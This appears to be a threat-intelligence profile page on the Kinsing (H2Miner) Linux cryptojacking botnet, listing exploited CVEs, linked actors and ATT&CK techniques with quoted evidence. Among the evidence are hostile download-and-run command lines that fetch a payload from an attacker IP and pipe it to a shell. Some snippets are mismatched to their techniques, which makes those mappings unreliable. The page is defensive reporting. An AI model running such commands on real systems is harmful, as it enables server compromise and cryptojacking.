Skip to main content
Mallory
Malware6 associated actors34 associated CVEs

Kinsing

Tracked since Nov 26, 2025 · Updated 2 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days6 mentions · peak 2 in a dayToday
Vulns34Associated
Actors6Associated
ATT&CK60Techniques
IOCs512Tracked
Type
Botnet
Capabilities
Credential theftPersistenceInitial accessLateral movementPost exploitationDefense evasionReconnaissanceScanningBrute force
Delivery
Exploit kit
Platforms
Linux

Kinsing, also tracked as H2Miner, is a Go-based Linux botnet malware family used in financially motivated cryptojacking operations active since at least 2019. It primarily compromises internet-facing Linux servers, cloud virtual machines, and container environments to deploy XMRig for Monero mining and expand its botnet. Infection vectors include unauthenticated Docker daemon APIs, exposed Redis instances with weak or absent authentication, malicious Redis modules, and exploitation of vulnerable server applications, including SaltStack.

Kinsing supports arbitrary command execution, command-output collection, payload downloading, self-updating, SOCKS proxying, reverse connections, network scanning, and Redis password brute forcing. Its supporting scripts collect SSH private keys and discover remote destinations through SSH configuration, host records, and shell histories, then reuse accessible credentials for worm-like propagation. Command-and-control communications use HTTP with encrypted tasking, while host-profiling information is transmitted in request headers. Kinsing can deploy embedded or downloaded mining payloads and restart terminated miners.

Persistence is established through recurring cron jobs and, in some variants, system services. Supporting scripts disable firewalls and mandatory access controls, remove cloud security agents, clear logs, and terminate competing miners and containers. Some deployments incorporate a modified user-mode rootkit derived from the publicly available beurk project, using shared-library preloading to conceal malicious files, processes, and network connections. Later analyzed builds also include delayed execution, debugger and virtual-environment checks, and obfuscated command-and-control configuration.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Associated CVEs

Associated vulnerabilities

34 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2018-20062via malwaremustdie blogExploited in the wildRemote Code Execution in NoneCMS and ThinkPHPCVE-2017-11610, CVE-2018-20062, CVE-2019-0193, CVE-2019-3396, CVE-2020-25213, CVE-2021-26084, CVE-2021-41773 Supervisor, ThinkPHP, Solr, Confluence, WP File Manager, Confluence, Apache httpd RCE / path traversal | Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.View vulnerability →Source ↗
CVE-2017-9841via malwaremustdie blogExploited in the wildUnauthenticated Remote Code Execution in PHPUnitCVE-2017-9841 PHPUnit RCE | Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.View vulnerability →Source ↗
CVE-2021-26084via malwaremustdie blogExploited in the wildUnauthenticated OGNL Injection RCE in Atlassian ConfluenceCVE-2017-11610, CVE-2018-20062, CVE-2019-0193, CVE-2019-3396, CVE-2020-25213, CVE-2021-26084, CVE-2021-41773 Supervisor, ThinkPHP, Solr, Confluence, WP File Manager, Confluence, Apache httpd RCE / path traversal | Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.View vulnerability →Source ↗
CVE-2019-3396via malwaremustdie blogExploited in the wildServer-Side Template Injection in Atlassian Confluence Widget ConnectorCVE-2017-11610, CVE-2018-20062, CVE-2019-0193, CVE-2019-3396, CVE-2020-25213, CVE-2021-26084, CVE-2021-41773 Supervisor, ThinkPHP, Solr, Confluence, WP File Manager, Confluence, Apache httpd RCE / path traversal | Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.View vulnerability →Source ↗
CVE-2020-25213via malwaremustdie blogExploited in the wildUnauthenticated Remote Code Execution in WordPress File ManagerCVE-2017-11610, CVE-2018-20062, CVE-2019-0193, CVE-2019-3396, CVE-2020-25213, CVE-2021-26084, CVE-2021-41773 Supervisor, ThinkPHP, Solr, Confluence, WP File Manager, Confluence, Apache httpd RCE / path traversal | Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.View vulnerability →Source ↗
CVE-2019-0193via malwaremustdie blogExploited in the wildRemote Code Execution in Apache Solr DataImportHandlerCVE-2017-11610, CVE-2018-20062, CVE-2019-0193, CVE-2019-3396, CVE-2020-25213, CVE-2021-26084, CVE-2021-41773 Supervisor, ThinkPHP, Solr, Confluence, WP File Manager, Confluence, Apache httpd RCE / path traversal | Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.View vulnerability →Source ↗
CVE-2023-4911via malwaremustdie blogExploited in the wildLooney Tunables2023-11 Looney Tunables CVE-2023-4911 probing; ActiveMQ CVE-2023-46604 | Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.View vulnerability →Source ↗
CVE-2020-11652via malwaremustdie blogExploited in the wildDirectory Traversal in SaltStack Salt MasterCVE-2020-11651 / CVE-2020-11652 SaltStack Salt auth bypass / RCE | Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.View vulnerability →Source ↗
CVE-2021-44228via malwaremustdie blogExploited in the wildLog4ShellCVE-2021-44228 (Log4Shell), Confluence RCE Log4j, Atlassian Confluence RCE | Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.View vulnerability →Source ↗
CVE-2023-32315via malwaremustdie blogExploited in the wildOpenfire Admin Console Authentication Bypass via Path TraversalCVE-2023-32315 Openfire path traversal → RCE | Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.View vulnerability →Source ↗
CVE-2020-11651via malwaremustdie blogExploited in the wildUnauthenticated Remote Command Execution in SaltStack SaltCVE-2020-11651 / CVE-2020-11652 SaltStack Salt auth bypass / RCE | Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.View vulnerability →Source ↗
CVE-2021-41773via malwaremustdie blogExploited in the wildPath Traversal and Conditional RCE in Apache HTTP Server 2.4.49CVE-2017-11610, CVE-2018-20062, CVE-2019-0193, CVE-2019-3396, CVE-2020-25213, CVE-2021-26084, CVE-2021-41773 Supervisor, ThinkPHP, Solr, Confluence, WP File Manager, Confluence, Apache httpd RCE / path traversal | Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.View vulnerability →Source ↗

22 more CVEs associated with this family tracked in Mallory.

Threat actors

Associated threat actors

6 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
SystemTen

Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.

via malwaremustdie blogblog.malwaremustdie.org
Money Libra

Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.

via malwaremustdie blogblog.malwaremustdie.org
Resourceful Wolf

Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.

via malwaremustdie blogblog.malwaremustdie.org
Kinsing

Advanced botnet strains and Kinsing droppers frequently attempt to unlink dropped binary files immediately upon execution

via sh3llc0d3 blogsh3llc0d3.com
H2Miner

Their ultimate purpose remains consistent: deploying Kinsing, a remote access trojan (RAT) commonly used to deliver crypto miners in compromised environments.

via fortinet threat researchfortinet.com
TeamTNT

Most notably, TeamTNT was reported to have copied the code used to detect and remove Alibaba Cloud Security from compromised instances from the Kinsing group.

via palo alto networks unit 42 blogunit42.paloaltonetworks.com
MITRE ATT&CK

Techniques & procedures

60 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

1 technique
T1595Active ScanningEvidence1

The threat actor scans the internet for Openfire servers ... and once a server is found, it is automatically tested if the server is vulnerable to CVE-2023-32315.

Resource Development

1 technique
T1608.001Upload MalwareEvidence1

T1608.001 Upload Malware payload on a public code-hosting site and Pastebin

Initial Access

3 techniques
T1078Valid AccountsEvidence5

[Kinsing](https://attack.mitre.org/software/S0599) has used valid SSH credentials to access remote hosts.(Citation: Aqua Kinsing April 2020)

T1133External Remote ServicesEvidence4

[Kinsing](https://attack.mitre.org/software/S0599) was executed in an Ubuntu container deployed via an open Docker daemon API.(Citation: Aqua Kinsing April 2020)

T1190Exploit Public-Facing ApplicationEvidence10

The infection sequence initiates with the transmission of a meticulously crafted HTTP request by an attacker to a designated system employing Log4j.

Execution

10 techniques
T1053Scheduled Task/JobEvidence1

establishes persistence by installing it across multiple layers: as a systemd service (if root), as a crontab @reboot job

T1053.003CronEvidence10

T1053.003 Cron every-minute download-and-run cron entry

T1059Command and Scripting InterpreterEvidence9

The server then executes the attacker’s shell command ( id , or wget , or anything ) with full Node.js privileges.

T1059.004Unix ShellEvidence9

T1059.004 Unix Shell embedded and downloaded sh scripts, exec

T1059.005Visual BasicEvidence1

This will then run the malicious Java code located at http://{malicious website}/{malicious.class} .

T1203Exploitation for Client ExecutionEvidence8

An attacker can send malicious data that executes arbitrary code on your servers before any authentication occurs.

T1204.002Malicious FileEvidence1

wget -qO- hxxp://38.165.44[.]205/s | sh

T1574.006Dynamic Linker HijackingEvidence1

Kinsing ... load[s] its rootkit in /etc/ld.so.preload.

T1609Container Administration CommandEvidence3

[Kinsing](https://attack.mitre.org/software/S0599) was executed with an Ubuntu container entry point that runs shell scripts.(Citation: Aqua Kinsing April 2020)

T1610Deploy ContainerEvidence3

[Kinsing](https://attack.mitre.org/software/S0599) was run through a deployed Ubuntu container.(Citation: Aqua Kinsing April 2020)

Persistence

9 techniques
T1053Scheduled Task/JobEvidence1

establishes persistence by installing it across multiple layers: as a systemd service (if root), as a crontab @reboot job

T1053.003CronEvidence10

T1053.003 Cron every-minute download-and-run cron entry

T1078Valid AccountsEvidence5

[Kinsing](https://attack.mitre.org/software/S0599) has used valid SSH credentials to access remote hosts.(Citation: Aqua Kinsing April 2020)

T1133External Remote ServicesEvidence4

[Kinsing](https://attack.mitre.org/software/S0599) was executed in an Ubuntu container deployed via an open Docker daemon API.(Citation: Aqua Kinsing April 2020)

T1136Create AccountEvidence1

Next, the threat actor can choose between either adding an admin user to the console ... In this campaign, the threat actor uses the vulnerability to create a new admin user

T1505Server Software ComponentEvidence1

Next, the threat actor is uploading a malicious plugin that allows web shell commands on the server ... This plugin contains a Java class named cmd.jsp that is a backdoor

T1505.003Web ShellEvidence2

This plugin contains a Java class named cmd.jsp that is a backdoor which enables downloading files and executing commands on the server.

T1543Create or Modify System ProcessEvidence1

sets a systemd service for persistence, claiming to be an “Rsyslog AV Agent Service”.

T1543.002Systemd ServiceEvidence1

System Configuration : Creates a system service configuration file for the downloaded binary.

Privilege Escalation

6 techniques
T1053Scheduled Task/JobEvidence1

establishes persistence by installing it across multiple layers: as a systemd service (if root), as a crontab @reboot job

T1053.003CronEvidence10

T1053.003 Cron every-minute download-and-run cron entry

T1068Exploitation for Privilege EscalationEvidence1

Furthermore, since the user is created as an admin, this grants the threat actor with elevated permissions within the system.

T1078Valid AccountsEvidence5

[Kinsing](https://attack.mitre.org/software/S0599) has used valid SSH credentials to access remote hosts.(Citation: Aqua Kinsing April 2020)

T1543Create or Modify System ProcessEvidence1

sets a systemd service for persistence, claiming to be an “Rsyslog AV Agent Service”.

T1543.002Systemd ServiceEvidence1

System Configuration : Creates a system service configuration file for the downloaded binary.

Stealth

11 techniques
T1014RootkitEvidence1

Kinsing doubles down on its persistence and compromise by loading its rootkit in /etc/ld.so.preload, which completes a full system compromise.

T1027Obfuscated Files or InformationEvidence2

T1027 Obfuscated Files or Information v31: C2 address as hex data + rotator; a71ad3: pkger hex-gzip store; Hamlet padding

T1036.005Match Legitimate Resource Name or LocationEvidence1

T1036.005 Match Legitimate Name or Location kdevtmpfsi

T1070Indicator RemovalEvidence2

attempts to hide its tracks by clearing the bash history.

T1070.003Clear Command HistoryEvidence2

attempts to clear the shell history to hide its activity.

T1070.004File DeletionEvidence1

T1070.004 File Deletion v31: the 9-digit PID temp file is deleted after reading

T1078Valid AccountsEvidence5

[Kinsing](https://attack.mitre.org/software/S0599) has used valid SSH credentials to access remote hosts.(Citation: Aqua Kinsing April 2020)

T1140Deobfuscate/Decode Files or InformationEvidence1

T1140 Deobfuscate/Decode Files or Information runtime decode of scripts

T1497.001System ChecksEvidence1

T1497.001 Virtualization/Sandbox Evasion: System Checks v31: virtual device, interface and clock checks and debugger checks; silent without C2 reply (author notes)

T1564.001Hidden Files and DirectoriesEvidence1

T1564.001 Hidden Files and Directories /tmp/.ICEd-unix

T1574.006Dynamic Linker HijackingEvidence1

Kinsing ... load[s] its rootkit in /etc/ld.so.preload.

Defense Impairment

5 techniques
T1222File and Directory Permissions ModificationEvidence2

$WGET $DIR/kinsing http://X.X.X.X/kinsing chmod +x $DIR/kinsing

T1222.002Linux and Mac PermissionsEvidence4

T1222.002 Linux File and Directory Permissions Modification file attributes removed from dirs

T1685Disable or Modify ToolsEvidence5

T1562.001 Disable or Modify Tools aegis/quartz/YunJing, SELinux, AppArmor

T1685.006Clear Linux or Mac System LogsEvidence1

T1070.002 Clear Linux or Mac System Logs syslog file deleted

T1686Disable or Modify System FirewallEvidence1

T1562.004 Disable or Modify System Firewall host firewall disabled, rules flushed

Credential Access

5 techniques
T1110Brute ForceEvidence4

[Kinsing](https://attack.mitre.org/software/S0599) has attempted to brute force hosts over SSH.(Citation: Aqua Kinsing April 2020)

T1110.001Password GuessingEvidence1

T1110.001 Password Guessing Redis AUTH brute

T1552.003Shell HistoryEvidence3

[Kinsing](https://attack.mitre.org/software/S0599) has searched <code>bash_history</code> for credentials.(Citation: Aqua Kinsing April 2020)

T1552.004Private KeysEvidence6

T1552.004 Private Keys id_rsa / *.pem harvesting

T1555Credentials from Password StoresEvidence1

These DockerHub profiles were actively used to deploy malicious images containing the following: Rootkits Docker escape kits XMRig Monero miners Credential stealers Kinsing malware Kubernetes exploit kits

Discovery

8 techniques
T1016System Network Configuration DiscoveryEvidence1

Earth Lusca used the command powershell "Get-EventLog -LogName security -Newest 500 | where {$_.EventID -eq 4624} | format-list - property * | findstr "Address"" to find the network information of successfully logged-in accounts to discovery addresses of other machines.

T1018Remote System DiscoveryEvidence5

T1018 Remote System Discovery known_hosts, bash_history, /etc/hosts

T1046Network Service DiscoveryEvidence2

T1046 Network Service Discovery masscan wrapper

T1049System Network Connections DiscoveryEvidence1

Kinsing actively looks for competing cryptocurrency miners ... in processes, crontabs, and active network connections. It then proceeds to kill their processes and network connections.

T1057Process DiscoveryEvidence10

[Kinsing](https://attack.mitre.org/software/S0599) has used ps to list processes.(Citation: Aqua Kinsing April 2020)

T1082System Information DiscoveryEvidence1

T1082 System Information Discovery Arch/Cores/Mem/Os headers

T1083File and Directory DiscoveryEvidence7

[Kinsing](https://attack.mitre.org/software/S0599) has used the find command to search for specific files.(Citation: Aqua Kinsing April 2020)

T1497.001System ChecksEvidence1

T1497.001 Virtualization/Sandbox Evasion: System Checks v31: virtual device, interface and clock checks and debugger checks; silent without C2 reply (author notes)

Lateral Movement

4 techniques
T1021Remote ServicesEvidence1

"used compromised credentials to log on to other systems"; "used compromised credentials to access other systems on a victim network"; "used valid SSH credentials to access remote hosts"

T1021.004SSHEvidence5

T1021.004 SSH spreader loop with harvested keys

T1210Exploitation of Remote ServicesEvidence1

the exposure of these cloud services ... allows remote code execution (RCE) on the cluster. Unfortunately, threat actors have been actively exploiting these services for years.

T1570Lateral Tool TransferEvidence1

Once these services are identified, the threat actors try to deploy their payload.

Command and Control

5 techniques
T1071.001Web ProtocolsEvidence10

T1071.001 Web Protocols HTTP :80

T1090ProxyEvidence1

T1090 Proxy SOCKS5

T1105Ingress Tool TransferEvidence20

T1105 Ingress Tool Transfer self-update ( UpdateCommand ) and download_and_exec

T1571Non-Standard PortEvidence1

T1571 Non-Standard Port backdoor port, stratum on :80

T1573.002Asymmetric CryptographyEvidence2

T1573.002 Asymmetric Cryptography RSA tasking

Impact

4 techniques
T1489Service StopEvidence1

The script then continues to kill several running processes such as SSH service, htop and others.

T1496Resource HijackingEvidence13

T1496 Resource Hijacking XMRig 5.5.0

T1496.001Compute HijackingEvidence3

[Kinsing](https://attack.mitre.org/software/S0599) has created and run a Bitcoin cryptocurrency miner.(Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)

T1499Endpoint Denial of ServiceEvidence1

the initial phase saw attackers trying to kill off competing malware, security products, and other cloud middleware.

Indicators of compromise

Observables

512 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

116 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
security affairsNews · Nov 26, 2026Linux/EasyShell: MalwareMustDie Identifies One of the Earliest Publicly Documented RATs Built for LoongArch LinuxMentioned only to state that the analyzed Linux/EasyShell activity has no identified link to Kinsing. No capabilities or operational details are provided.Read more ↗malwaremustdie blogNews · Nov 20, 2026Malware Must Die!: MMD-073-2026 - Linux/EasyShell, a new Rust RAT implant and beacon aims Linux and MacOSAn initial comparison based on the downloader's appearance. The report explicitly rejects a Kinsing connection and identifies no shared code.Read more ↗risky biz rssNews · Nov 16, 2026Risky Bulletin: Hackers accessed Barracuda's cloudLong-running Linux botnet primarily associated with mining Monero.Read more ↗malwaremustdie blogNews · Nov 11, 2026Malware Must Die!: MMD-071-2026 - Linux/KinsingBot a "bad-bad"-designed botnet a while ago.. until recent.Go-written Linux ELF bot that deploys a modified XMRig miner while providing remote command execution, encrypted HTTP command-and-control, SOCKS proxying, an on-demand password-protected backdoor, self-updating, scanning and Redis password brute-forcing. Embedded scripts harvest SSH keys and trusted-host information for worm-like lateral movement. Companion scripts establish cron persistence, disable logging and security controls, uninstall cloud security agents and remove competing miners. The report examines historical 2019–2020 infrastructure while noting continued family activity through 2025.Read more ↗
+110 more in the timeline. Sign up to see them
Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching512Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors6Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities34CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping60Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.